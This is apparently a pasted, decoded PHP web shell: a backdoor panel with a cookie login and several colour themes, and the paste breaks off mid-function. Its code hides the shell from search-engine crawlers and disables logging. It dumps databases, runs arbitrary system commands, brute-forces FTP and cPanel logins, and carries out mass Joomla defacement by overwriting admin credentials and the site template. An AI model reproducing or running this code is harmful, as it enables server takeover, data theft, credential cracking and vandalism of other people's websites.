· 9 years ago · Nov 05, 2016, 05:34 PM
1/* Decoded by unphp.net */
2
3<?php ?><?php
4@set_magic_quotes_runtime(0);
5@ini_set('error_log', NULL);
6@ini_set('log_errors', 0);
7ob_start();
8error_reporting(0);
9@set_time_limit(0);
10@ini_set('max_execution_time', 0);
11@ini_set('output_buffering', 0);
12if (!empty($_SERVER['HTTP_USER_AGENT'])) {
13 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
14 if (preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
15 header('HTTP/1.0 404 Not Found');
16 exit;
17 }
18}
19// Dump Database
20if ($_GET["action"] == "dumpDB") {
21 $self = $_SERVER["PHP_SELF"];
22 if (isset($_COOKIE['dbserver'])) {
23 $date = date("Y-m-d");
24 $dbserver = $_COOKIE["dbserver"];
25 $dbuser = $_COOKIE["dbuser"];
26 $dbpass = $_COOKIE["dbpass"];
27 $dbname = $_GET['dbname'];
28 $mysqlHandle = mysql_connect($dbserver, $dbuser, $dbpass);
29 $file = "Dump-$dbname-$date";
30 $file = "Dump-$dbname-$date.sql";
31 $fp = fopen($file, "w");
32 function write($data) {
33 global $fp;
34 fwrite($fp, $data);
35 }
36 mysql_connect($dbserver, $dbuser, $dbpass);
37 mysql_select_db($dbname);
38 $tables = mysql_query("SHOW TABLES");
39 while ($i = mysql_fetch_array($tables)) {
40 $i = $i['Tables_in_' . $dbname];
41 $create = mysql_fetch_array(mysql_query("SHOW CREATE TABLE " . $i));
42 write($create['Create Table'] . ";");
43 $sql = mysql_query("SELECT * FROM " . $i);
44 if (mysql_num_rows($sql)) {
45 while ($row = mysql_fetch_row($sql)) {
46 foreach ($row as $j => $k) {
47 $row[$j] = "'" . mysql_escape_string($k) . "'";
48 }
49 write("INSERT INTO $i VALUES(" . implode(",", $row) . ");");
50 }
51 }
52 }
53 fclose($fp);
54 header("Content-Disposition: attachment; filename=" . $file);
55 header("Content-Type: application/download");
56 header("Content-Length: " . filesize($file));
57 flush();
58 $fp = fopen($file, "r");
59 while (!feof($fp)) {
60 echo fread($fp, 65536);
61 flush();
62 }
63 fclose($fp);
64 }
65}
66$hs_dhanush = "<style type=\"text/css\">
67<!--
68
69body,td,th {
70 color: #FF0000;
71 font-size: 14px;
72}
73tr:hover.lines
74{
75background-color:#000000;}
76tr.lines
77{
78background-color:#0C0C0C;}
79div.logindiv{
80background-color:#171717; }
81table.btmtbl{
82border-collapse:collapse;
83border-color:red;}
84td.btmtbl{
85border-color:red;}
86input.but {
87 background-color:#000000;
88 color:#FF0000;
89 border : 1px solid #1B1B1B;
90}
91a:link {
92 color: #00FF00;
93 text-decoration:none;
94 font-weight:500;
95}
96a:hover {
97 color:#00FF00;
98 text-decoration:underline;
99}
100font.txt
101{
102 color: #00FF00;
103 text-decoration:none;
104 font-size:14px;
105}
106font.om
107{
108 color: #00FF00;
109}
110/* Write Permission Font */
111font.wrtperm
112{
113 color:#00FF00;
114}
115/* Read Permission Font */
116font.readperm
117{
118 color:#FF0000;
119}
120/* No Permission Font */
121font.noperm
122{
123 color:#FFFFFF;
124}
125font.mainmenu
126{
127 color:#FF0000;
128 text-decoration:none;
129 font-size:14px;
130}
131a:visited {
132 color: #FF0000;
133}
134input.box
135{
136 background-color:#0C0C0C;
137 color: lime;
138 border : 1px solid #1B1B1B;
139 -moz-border-radius:6px;
140 width:400;
141 border-radius:6px;
142}
143input.sbox
144{
145 background-color:#0C0C0C;
146 color: lime;
147 border : 1px solid #1B1B1B;
148 -moz-border-radius:6px;
149 width:180;
150 border-radius:6px;
151}
152select.sbox
153{
154 background-color:#0C0C0C;
155 color: lime;
156 border : 1px solid #1B1B1B;
157 -moz-border-radius:6px;
158 width:180;
159 border-radius:6px;
160}
161select.box
162{
163 background-color:#0C0C0C;
164 color: lime;
165 border : 1px solid #1B1B1B;
166 -moz-border-radius:6px;
167 width:400;
168 border-radius:6px;
169}
170
171textarea.box
172{
173 border : 3px solid #111;
174 background-color:#161616;
175 color : lime;
176 margin-top: 10px;
177 -moz-border-radius:7px;
178 border-radius:7px;
179}
180body {
181 background-color:#000000;
182}
183.myphp table
184{
185 width:100%;
186 padding:18px 10px;
187 border : 1px solid #1B1B1B;
188}
189.myphp td
190{
191 background:#111111;
192 color:#00ff00;
193 padding:6px 8px;
194 border-bottom:1px solid #222222;
195 font-size:14px;
196}
197.myphp th, th
198{
199 background:#181818;
200
201}
202-->
203</style>";
204$hs_orange = "<style type=\"text/css\">
205<!--
206body {
207background-image:url($bgimage);
208background-color:#000000;
209background-repeat:no-repeat;
210background-attachment:fixed;
211}
212/* Shell Title Color*/
213span.headtitle
214{
215 color:#F90;
216 text-decoration:none;
217
218}
219/* Login Page div*/
220div.logindiv
221{
222background-color:#000000;
223opacity:0.5;
224width:50%;
225border-radius:7px;
226margin-top:150px;
227-moz-border-radius:25px;
228height:410px;
229border: solid 1px
230#878787;
231border-radius: 13px;
232box-shadow: 0px 0px 10px
233black;
234}
235table.tbl
236{
237border:#F90;
238}
239body,td,th {
240 color: #F90;
241 font-size: 14px;
242}
243table.btmtbl{
244border-collapse:collapse;
245border-color:#F90;}
246td.btmtbl{
247border-color:#F90;}
248/* Present Working Directory Table */
249table.pwdtbl
250{
251 border-color:#F90;
252}
253/* File List Hover */
254tr.lines:hover
255{
256background-color:#666666;
257opacity:0.5;
258}
259/* File List */
260tr.lines
261{
262 height:12px;
263}
264/* Functions Config */
265td.myfun
266{
267 display: inline;
268 padding: 1px;
269 margin: 5px;
270 border: 1px solid #AAA;
271 border-radius: 4px;
272 -moz-border-radius:4px;
273 box-shadow: 0px 0px 2px #000;
274}
275/* Functions Config Hover */
276td.myfun:hover
277{
278 box-shadow: 0px 0px 2px #FF0;
279}
280/* Button Config */
281input.but {
282 border: 1px solid #F90;
283 background-color:#000000;
284 color:#FFFFFF;
285
286 box-shadow: 0px 0px 2px #F90 inset;
287}
288/* Link Config */
289a:link {
290 color: #F90;
291 text-decoration:none;
292 font-weight:500;
293}
294/* Link Config Hover */
295a:hover {
296 color:#666666;
297 text-decoration:underline;
298}
299/* Link Config Visited */
300a:visited {
301 color: #F90;
302 text-decoration:none;
303}
304/* font Config */
305font.txt
306{
307 color: #FFFFFF;
308 text-decoration:none;
309 font-size:13px;
310}
311font.om
312{
313 color: #F90;
314}
315/* Function Font Config */
316font.fun
317{
318 color:#F90;
319}
320/* Write Permission Font */
321font.wrtperm
322{
323 color:#F90;
324}
325/* Read Permission Font */
326font.readperm
327{
328 color:#FF0000;
329}
330/* No Permission Font */
331font.noperm
332{
333 color:#FFFFFF;
334}
335/* Upload File Config */
336input.upld
337{
338 width:400;
339 margin:0;color:#FFFFFF;background-color:#000;border:1px solid #F90; font: 9pt Monospace,\"Courier New\";
340}
341/* Input TextBox Config */
342input.box
343{
344 width:400;
345 margin:0;color:#FFFFFF;background-color:#000;border:1px solid #F90; font: 9pt Monospace,\"Courier New\";
346}
347/* Input Small TextBox Config */
348input.sbox
349{
350 width:180;
351 margin:0;color:#FFFFFF;background-color:#000;border:1px solid #F90; font: 9pt Monospace,\"Courier New\";
352}
353/* Input Small SelectBox Config */
354select.sbox
355{
356 width:180;
357 margin:0;color:#FFFFFF;background-color:#000;border:1px solid #F90; font: 9pt Monospace,\"Courier New\";
358}
359/* Input SelectBox Config */
360select.box
361{
362 width:400;
363 margin:0;color:#FFFFFF;background-color:#000;border:1px solid #F90; font: 9pt Monospace,\"Courier New\";
364}
365/* TextArea Config */
366textarea.box
367{
368 border: 1px solid #F90;
369 color:#FFFFFF;
370 margin-top: 10px;
371 box-shadow: 0px 0px 3px #F90 inset;
372 background-color: #000000;
373 opacity: 0.50;
374}
375.myphp table
376{
377 width:100%;
378 padding:18px 10px;
379 border: 1px solid #F90;
380}
381.myphp td
382{
383 padding:6px 8px;
384 border-bottom:1px solid #222222;
385 font-size:14x;
386}
387
388-->
389</style>";
390$hs_404 = "<style type=\"text/css\">
391<!--
392span.headtitle
393{
394 color:#00ff00;
395 text-decoration:none;
396
397}
398body, th{
399 color:#00ff00;
400 background-color:#000000;
401 font-size: 13px;
402}
403div.logindiv{
404background-color:#171717; }
405table.tbl
406{
407border:#00ff00;
408}
409table.btmtbl{
410border-collapse:collapse;
411border-color:lime;}
412td.btmtbl{
413border-color:lime;}
414tr.lines:hover
415{
416 background-color:#5e5e5e;
417}
418tr.lines
419{
420 background-color:#000000;
421 height:12px;
422 font-size: 14px;
423}
424td.myfun
425{
426 border-style:none;
427 margin: 5px;
428}
429td.myfun:hover
430{
431 box-shadow: 0px 0px 2px #FF0;
432}
433input.but {
434 margin:0;color:#00ff00;background-color:#000;border:1px solid #00ff00; font: 9pt Monospace,\"Courier New\";
435}
436a:link {
437 color: #00ff00;
438 text-decoration:none;
439 font-weight:500;
440}
441a:visited
442{
443color:#00ff00;
444}
445a:hover {
446 background:#ff0000;
447}
448font.mainmenu
449{
450 font-size:14px;
451}
452font.txt
453{
454 color: #FFFFFF;
455 text-decoration:none;
456 font-size:13px;
457}
458font.om
459{
460 color:#00FF00;
461}
462font.fun
463{
464
465 color:#00ff00;
466}
467font.wrtperm
468{
469 color:#00ff00;
470}
471font.readperm
472{
473 color:#FF0000;
474}
475font.noperm
476{
477 color:#FFFFFF;
478}
479input.upld
480{
481 width:400;
482 margin:0;color:#00ff00;background-color:#000;border:1px solid #00ff00; font: 9pt Monospace,\"Courier New\";
483}
484input.box
485{
486 width:400;
487 margin:0;color:#00ff00;background-color:#000;border:1px solid #00ff00; font: 9pt Monospace,\"Courier New\";
488}
489input.sbox
490{
491 width:180;
492 margin:0;color:#00ff00;background-color:#000;border:1px solid #00ff00; font: 9pt Monospace,\"Courier New\";
493}
494select.sbox
495{
496 width:180;
497 margin:0;color:#00ff00;background-color:#000;border:1px solid #00ff00; font: 9pt Monospace,\"Courier New\";
498}
499select.box
500{
501 width:400;
502 margin:0;color:#00ff00;background-color:#000;border:1px solid #00ff00; font: 9pt Monospace,\"Courier New\";
503}
504
505textarea.box
506{
507 margin:0;color:#00ff00;background-color:#000;border:1px solid #00ff00; font: 9pt Monospace,\"Courier New\";
508}
509.myphp table
510{
511 width:100%;
512 padding:18px 10px;
513 border : 1px solid #00FF00;
514}
515.myphp td
516{
517 background:#111111;
518 color:#00ff00;
519 padding:6px 8px;
520 border-bottom:1px solid #222222;
521 font-size:13px;
522}
523.myphp th,
524{
525 background:#181818;
526
527}
528-->
529</style>";
530$hs_phizo = "<style type=\"text/css\">
531<!--
532span.headtitle
533{
534 color:#000000;
535 text-decoration:none;
536
537}
538div.logindiv
539{
540background-color:#CCC;
541width:50%;
542border-radius:7px;
543margin-top:150px;
544-moz-border-radius:25px;
545height:410px;
546border: solid 1px
547#878787;
548border-radius: 13px;
549box-shadow: 0px 0px 10px
550black;
551}
552body,td,th {
553 color: #000000;
554 font-size: 14px;
555}
556table.pwdtbl
557{
558 width:95%;
559 background-color:#999999;
560 -moz-border-radius:25px;
561 border-radius:25px;
562}
563tr.lines:hover
564{
565background-color:#C0C0C0;
566}
567tr.lines
568{
569 background-color:#999999;
570 height:12px;
571}
572td.myfun
573{
574 display: inline;
575 padding: 1px;
576 margin: 5px;
577 border: 1px solid #AAA;
578 border-radius: 4px;
579 -moz-border-radius:4px;
580 box-shadow: 0px 0px 2px #000;
581}
582td.myfun:hover
583{
584 box-shadow: 0px 0px 2px #FF0;
585}
586input.but {
587 border: 1px solid #787878;
588 border-radius: 5px;
589 box-shadow: 0px 0px 2px #000 inset;
590}
591a:link {
592 color: #000000;
593 text-decoration:none;
594 font-weight:500;
595}
596a:hover {
597 color:#666666;
598 text-decoration:underline;
599}
600font.txt
601{
602 color: #000000;
603 text-decoration:none;
604 font-size:13px;
605}
606font.om
607{
608 color:#000000;
609}
610font.fun
611{
612 color: #696969;
613}
614font.wrtperm
615{
616 color:#000000;
617}
618font.readperm
619{
620 color:#000000;
621}
622font.noperm
623{
624 color:#000000;
625}
626input.upld
627{
628 border: 1px solid #787878;
629 box-shadow: 0px 0px 3px #000 inset;
630 background-color: #AAA;
631 font-family: Courier;
632 -moz-border-radius:6px;
633 width:400;
634 border-radius:6px;
635}
636input.box
637{
638 border: 1px solid #787878;
639 box-shadow: 0px 0px 3px #000 inset;
640 background-color: #AAA;
641 font-family: Courier;
642 -moz-border-radius:6px;
643 width:400;
644 border-radius:6px;
645}
646input.sbox
647{
648 border: 1px solid #787878;
649 box-shadow: 0px 0px 3px #000 inset;
650 background-color: #AAA;
651 font-family: Courier;
652 -moz-border-radius:6px;
653 width:180;
654 border-radius:6px;
655}
656select.sbox
657{
658 border: 1px solid #787878;
659 box-shadow: 0px 0px 3px #000 inset;
660 background-color: #AAA;
661 font-family: Courier;
662 -moz-border-radius:6px;
663 width:180;
664 border-radius:6px;
665}
666select.box
667{
668 border: 1px solid #787878;
669 box-shadow: 0px 0px 3px #000 inset;
670 background-color: #AAA;
671 font-family: Courier;
672 -moz-border-radius:6px;
673 width:400;
674 border-radius:6px;
675}
676
677textarea.box
678{
679 border: 1px solid #787878;
680 margin-top: 10px;
681 -moz-border-radius:7px;
682 box-shadow: 0px 0px 3px #000 inset;
683 background-color: #AAA;
684}
685textarea:focus
686{
687 box-shadow: 0px 0px 3px #FF0 inset;
688}
689body {
690 background-color:#C0C0C0;
691}
692.myphp table
693{
694 width:100%;
695 padding:18px 10px;
696 border : 1px solid #1B1B1B;
697}
698.myphp td
699{
700 /*background:#111111; */
701 color:#000000;
702 padding:6px 8px;
703 border-bottom:1px solid #222222;
704 font-size:14px;
705}
706.myphp th, th
707{
708 background:#999999;
709
710}
711-->
712</style>";
713if ($_COOKIE['style'] == 'dhanush') $shellstyle = $hs_dhanush;
714elseif ($_COOKIE['style'] == '404') $shellstyle = $hs_404;
715elseif ($_COOKIE['style'] == 'orange') $shellstyle = $hs_orange;
716elseif ($_COOKIE['style'] == 'phizo') $shellstyle = $hs_phizo;
717else $shellstyle = $hs_dhanush;
718if (isset($_COOKIE['hacked']) && $_COOKIE['hacked'] == md5($pass)) {
719 $self = $_SERVER["PHP_SELF"];
720 $os = "N/D";
721 $bdmessage = null;
722 $dir = getcwd();
723 if (stristr(php_uname(), "Windows")) {
724 $SEPARATOR = '\';
725 $os = "Windows";
726 $directorysperator="\";
727 }
728 else if(stristr(php_uname(),"Linux"))
729 {
730 $os = "Linux";
731 $directorysperator=' / ';
732 }
733 function Trail($d,$directsperator)
734 {
735 $d=explode($directsperator,$d);
736 array_pop($d);
737 array_pop($d);
738 $str=implode($d,$directsperator);
739 return $str;
740 }
741
742 function ftp_check($host,$user,$pass,$timeout)
743 {
744 $ch = curl_init();
745 curl_setopt($ch, CURLOPT_URL, "ftp://$host");
746 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
747 curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
748 curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
749 curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
750 curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
751 curl_setopt($ch, CURLOPT_FAILONERROR, 1);
752 $data = curl_exec($ch);
753 if ( curl_errno($ch) == 28 )
754 {
755 print "<center><b>
756 Error : Connection Timeout.
757 Please Check The Target Hostname .</b></center>";exit;
758 }
759 else if ( curl_errno($ch) == 0 )
760 {
761 print "<center><b>[~]</b><font class=txt>
762 Cracking Success With Username "</font>$user<font color=\"#008000\">\"
763 and Password \"</font>$pass<font color=\"#008000\">\"</font></b></center><br><br>";
764 }
765 curl_close($ch);
766 }
767 function randomt()
768 {
769 $chars = "abcdefghijkmnopqrstuvwxyz023456789";
770 srand((double)microtime()*1000000);
771 $i = 0;
772 $pass = '' ;
773
774 while ($i <= 7)
775 {
776 $num = rand() % 33;
777 $tmp = substr($chars, $num, 1);
778 $pass = $pass . $tmp;
779 $i++;
780 }
781 return $pass;
782 }
783 function cpanel_check($host,$user,$pass,$timeout)
784 {
785 global $cpanel_port;
786 $ch = curl_init();
787 curl_setopt($ch, CURLOPT_URL, "http://$host:" . $cpanel_port);
788 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
789 curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
790 curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
791 curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
792 curl_setopt($ch, CURLOPT_FAILONERROR, 1);
793 $data = curl_exec($ch);
794 if ( curl_errno($ch) == 28 )
795 { print "<center><b>Error : Connection Timeout.
796 Please Check The Target Hostname.</b></center>";exit;}
797 else if ( curl_errno($ch) == 0 ){
798 print "<ecnter><b>[~]</b><font class=txt><b>
799
800 Cracking Success With Username "</font>$user<font color=\"#008000\">\"
801 and Password \"</font><$pass<font color=\"#008000\">\"</font></b></center><br><br>";
802 }
803 curl_close($ch);
804 }
805
806 // Database functions
807 function listdatabase()
808 {
809 $self=$_SERVER["PHP_SELF"];
810 ?>
811 <br>
812 <form>
813 <table>
814 <tr>
815 <td><input type="text" class="box" name="dbname"></td>
816 <td><input type="button" onClick="viewtables('createDB',dbname.value)" value=" Create Database " class="but"></td>
817 </tr>
818 </table>
819 </form>
820 <br>
821 <?php
822 $mysqlHandle = mysql_connect ($_COOKIE['dbserver'], $_COOKIE['dbuser'], $_COOKIE['dbpass']);
823 $result = mysql_query("SHOW DATABASE");
824 echo "<table class=btmtbl cellspacing=1 cellpadding=5 border=1 style=width:60%;>
825";
826
827 $pDB = mysql_list_dbs( $mysqlHandle );
828 $num = mysql_num_rows( $pDB );
829 for( $i = 0; $i < $num; $i++ )
830 {
831 $dbname = mysql_dbname( $pDB, $i );
832 mysql_select_db($dbname,$mysqlHandle);
833 $result = mysql_query("SHOW TABLES");
834 $num_of_tables = mysql_num_rows($result);
835 echo "<tr>
836";
837 echo "<td><a href=# onClick=\"viewtables('listTables','$dbname')\"><font size=3>$dbname</font></a> ($num_of_tables)</td>
838";
839 echo "<td><a href=# onClick=\"viewtables('listTables','$dbname')\">Tables</a></td>
840";
841 echo "<td><a href=# onClick=\"viewtables('dropDB','$dbname')\">Drop</a></td>
842";
843 echo "<td><a href='$self ? action = dumpDB & dbname = $dbname' onClick=\"return confirm('DumpDatabase\'$dbname\'?') \">Dump</a></td>
844";
845 echo "</tr>
846";
847 }
848 echo "</table>
849";
850 mysql_close($mysqlHandle);
851}
852function listtable() {
853 $self = $_SERVER["PHP_SELF"];
854 $dbserver = $_COOKIE["dbserver"];
855 $dbuser = $_COOKIE["dbuser"];
856 $dbpass = $_COOKIE["dbpass"];
857 $dbname = $_GET['dbname'];
858 echo "<div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
859?>
860 <br><br>
861 <form>
862 <table>
863
864 <tr>
865 <td><input type="text" class="box" name="tablename"></td>
866 <td><input type="button" onClick="viewtables('createtable','<?php echo $_GET['dbname']; ?>')" value=" Create Table " name="createmydb" class="but"></td>
867 </tr>
868 </table>
869
870 <br>
871 <form>
872 <table>
873 <tr>
874 <td><textarea cols="60" rows="7" name="executemyquery" class="box">Execute Query..</textarea></td>
875 </tr>
876 <tr>
877 <td><input type="button" onClick="viewtables('executequery','<?php echo $_GET['dbname']; ?>','<?php echo $_GET['tablename']; ?>','','',executemyquery.value)" value="Execute" class="but"></td>
878 </tr>
879 </table>
880 </form>
881
882 <?php
883 $mysqlHandle = mysql_connect($dbserver, $dbuser, $dbpass);
884 mysql_select_db($dbname);
885 $pTable = mysql_list_tables($dbname);
886 if ($pTable == 0) {
887 $msg = mysql_error();
888 echo "<h3>Error : $msg</h3><p>
889";
890 return;
891 }
892 $num = mysql_num_rows($pTable);
893 echo "<table class=btmtbl cellspacing=1 cellpadding=5 border=1 style=width:60%;>
894";
895 for ($i = 0;$i < $num;$i++) {
896 $tablename = mysql_tablename($pTable, $i);
897 $result = mysql_query("select * from $tablename");
898 $num_rows = mysql_num_rows($result);
899 echo "<tr>
900";
901 echo "<td>
902";
903 echo "<a href=# onClick=\"viewtables('viewdata','$dbname','$tablename')\"><font size=3>$tablename</font></a> ($num_rows)
904";
905 echo "</td>
906";
907 echo "<td>
908";
909 echo "<a href=# onClick=\"viewtables('viewSchema','$dbname','$tablename')\">Schema</a>
910";
911 echo "</td>
912";
913 echo "<td>
914";
915 echo "<a href=# onClick=\"viewtables('viewdata','$dbname','$tablename')\">Data</a>
916";
917 echo "</td>
918";
919 echo "<td>
920";
921 echo "<a href=# onClick=\"viewtables('empty','$dbname','$tablename')\">Empty</a>
922";
923 echo "</td>
924";
925 echo "<td>
926";
927 echo "<a href=# onClick=\"viewtables('dropTable','$dbname','$tablename')\">Drop</a>
928";
929 echo "</td>
930";
931 echo "</tr>
932";
933 }
934 echo "</table></form>";
935 mysql_close($mysqlHandle);
936 echo "<div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
937}
938function paramexe($n, $v) {
939 $v = trim($v);
940 if ($v) {
941 echo '<span><font size=3>' . $n . ': </font></span>';
942 if (strpos($v, "
943") === false) echo '<font size=2>' . $v . '</font><br>';
944 else echo '<pre class=ml1><font class=txt size=3>' . $v . '</font></pre>';
945 }
946}
947function rrmdir($dir) {
948 if (is_dir($dir)) // ensures that we actually have a directory
949 {
950 $objects = scandir($dir); // gets all files and folders inside
951 foreach ($objects as $object) {
952 if ($object != '.' && $object != '..') {
953 if (is_dir($dir . '/' . $object)) {
954 // if we find a directory, do a recursive call
955 rrmdir($dir . '/' . $object);
956 } else {
957 // if we find a file, simply delete it
958 unlink($dir . '/' . $object);
959 }
960 }
961 }
962 // the original directory is now empty, so delete it
963 rmdir($dir);
964 }
965}
966function which($pr) {
967 $path = execmd("which $pr");
968 if (!empty($path)) return trim($path);
969 else return trim($pr);
970}
971function magicboom($text) {
972 if (!get_magic_quotes_gpc()) return $text;
973 return stripslashes($text);
974}
975function execmd($cmd, $d_functions = "None") {
976 if ($d_functions == "None") {
977 $ret = passthru($cmd);
978 return $ret;
979 }
980 $funcs = array("shell_exec", "exec", "passthru", "system", "popen", "proc_open");
981 $d_functions = str_replace(" ", "", $d_functions);
982 $dis_funcs = explode(",", $d_functions);
983 foreach ($funcs as $safe) {
984 if (!in_array($safe, $dis_funcs)) {
985 if ($safe == "exec") {
986 $ret = @exec($cmd);
987 $ret = join("
988", $ret);
989 return $ret;
990 } elseif ($safe == "system") {
991 $ret = @system($cmd);
992 return $ret;
993 } elseif ($safe == "passthru") {
994 $ret = @passthru($cmd);
995 return $ret;
996 } elseif ($safe == "shell_exec") {
997 $ret = @shell_exec($cmd);
998 return $ret;
999 } elseif ($safe == "popen") {
1000 $ret = @popen("$cmd", 'r');
1001 if (is_resource($ret)) {
1002 while (@!feof($ret)) $read.= @fgets($ret);
1003 @pclose($ret);
1004 return $read;
1005 }
1006 return -1;
1007 } elseif ($safe = "proc_open") {
1008 $cmdpipe = array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'));
1009 $resource = @proc_open($cmd, $cmdpipe, $pipes);
1010 if (@is_resource($resource)) {
1011 while (@!feof($pipes[1])) $ret.= @fgets($pipes[1]);
1012 @fclose($pipes[1]);
1013 @proc_close($resource);
1014 return $ret;
1015 }
1016 return -1;
1017 }
1018 }
1019 }
1020 return -1;
1021}
1022function entre2v2($text, $marqueurDebutLien, $marqueurFinLien, $i = 1) {
1023 $ar0 = explode($marqueurDebutLien, $text);
1024 $ar1 = explode($marqueurFinLien, $ar0[$i]);
1025 return trim($ar1[0]);
1026}
1027function changeindexjo($conf, $h, $site) {
1028 $dol = '$';
1029 $sitename = entre2v2($conf, $dol . "sitename = '", "';");
1030 $username = entre2v2($conf, $dol . "user = '", "';");
1031 $password = entre2v2($conf, $dol . "password = '", "';");
1032 $dbname = entre2v2($conf, $dol . "db = '", "';");
1033 $prefix = entre2v2($conf, $dol . "dbprefix = '", "';");
1034 $localhost = entre2v2($conf, $dol . "host = '", "';");
1035 $co = randomt();
1036 $link = mysql_connect($localhost, $username, $password);
1037 mysql_select_db($dbname, $link);
1038 $tryChaningInfo = mysql_query("UPDATE " . $prefix . "users SET username ='admin' , password = '2a9336f7666f9f474b7a8f67b48de527:DiWqRBR1thTQa2SvBsDqsUENrKOmZtAX'");
1039 $req = mysql_query("SELECT * from `" . $prefix . "extensions` ");
1040 if ($req) {
1041 $req = mysql_query("SELECT * from `" . $prefix . "template_styles` WHERE client_id='0' and home='1'");
1042 $data = mysql_fetch_array($req);
1043 $template_name = $data["template"];
1044 $req = mysql_query("SELECT * from `" . $prefix . "extensions` WHERE name='" . $template_name . "'");
1045 $data = mysql_fetch_array($req);
1046 $template_id = $data["extension_id"];
1047 $url2 = $site_url = $site . "/administrator/index.php";
1048 $ch = curl_init();
1049 curl_setopt($ch, CURLOPT_URL, $url2);
1050 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
1051 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
1052 curl_setopt($ch, CURLOPT_HEADER, 1);
1053 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
1054 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
1055 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
1056 $buffer = curl_exec($ch);
1057 $return = entre2v2($buffer, '<input type="hidden" name="return" value="', '"');
1058 $hidden = entre2v2($buffer, '<input type="hidden" name="', '" value="1"', 4);
1059 //$url2=$site_url."/index.php";
1060 $ch = curl_init();
1061 curl_setopt($ch, CURLOPT_URL, $url2);
1062 curl_setopt($ch, CURLOPT_POST, 1);
1063 curl_setopt($ch, CURLOPT_POSTFIELDS, "username=admin&passwd=123456789&option=com_login&task=login&return=" . $return . "&" . $hidden . "=1");
1064 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
1065 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
1066 curl_setopt($ch, CURLOPT_HEADER, 0);
1067 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
1068 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
1069 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
1070 $buffer = curl_exec($ch);
1071 $pos = strpos($buffer, "com_config");
1072 if ($pos === false) {
1073 echo ("<br>[-] Login Error");
1074 exit;
1075 }
1076 $url2 = $site_url . "/index.php?option=com_templates&task=source.edit&id=" . base64_encode($template_id . ":index.php");
1077 $ch = curl_init();
1078 curl_setopt($ch, CURLOPT_URL, $url2);
1079 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
1080 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
1081 curl_setopt($ch, CURLOPT_HEADER, 0);
1082 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
1083 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
1084 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
1085 $buffer = curl_exec($ch);
1086 $hidden2 = entre2v2($buffer, '<input type="hidden" name="', '" value="1"', 2);
1087 $url2 = $site_url . "/index.php?option=com_templates&layout=edit";
1088 $ch = curl_init();
1089 curl_setopt($ch, CURLOPT_URL, $url2);
1090 curl_setopt($ch, CURLOPT_POST, 1);
1091 curl_setopt($ch, CURLOPT_POSTFIELDS, "jform[source]=" . $h . "&jform[filename]=index.php&jform[extension_id]=" . $template_id . "&" . $hidden2 . "=1&task=source.save");
1092 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
1093 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
1094 curl_setopt($ch, CURLOPT_HEADER, 0);
1095 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
1096 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
1097 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
1098 $buffer = curl_exec($ch);
1099 echo "<tr align =center>";
1100 $pos = strpos($buffer, '<dd class="message message">');
1101 if ($pos === false) {
1102 echo ("<td><a href=http://" . $site . ">" . $site . "</a></td><td>Cannot Defaced</td>");
1103 } else {
1104 echo ("<td><a href=http://" . $site . ">" . $site . "</a></td><td><font class=txt>Joomla Defaced</font></td>");
1105 }
1106 } else {
1107 $req = mysql_query("SELECT * from `" . $dbprefix . "templates_menu` WHERE client_id='0'");
1108 $data = mysql_fetch_array($req);
1109 $template_name = $data["template"];
1110 $url2 = $site_url . "/index.php";
1111 $ch = curl_init();
1112 curl_setopt($ch, CURLOPT_URL, $url2);
1113 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
1114 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
1115 curl_setopt($ch, CURLOPT_HEADER, 1);
1116 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
1117 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
1118 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
1119 $buffer = curl_exec($ch);
1120 $hidden = entre2v2($buffer, '<input type="hidden" name="', '" value="1"', 3);
1121 $url2 = $site_url . "/index.php";
1122 $ch = curl_init();
1123 curl_setopt($ch, CURLOPT_URL, $url2);
1124 curl_setopt($ch, CURLOPT_POST, 1);
1125 curl_setopt($ch, CURLOPT_POSTFIELDS, "username=admin&passwd=123456789&option=com_login&task=login&" . $hidden . "=1");
1126 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
1127 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
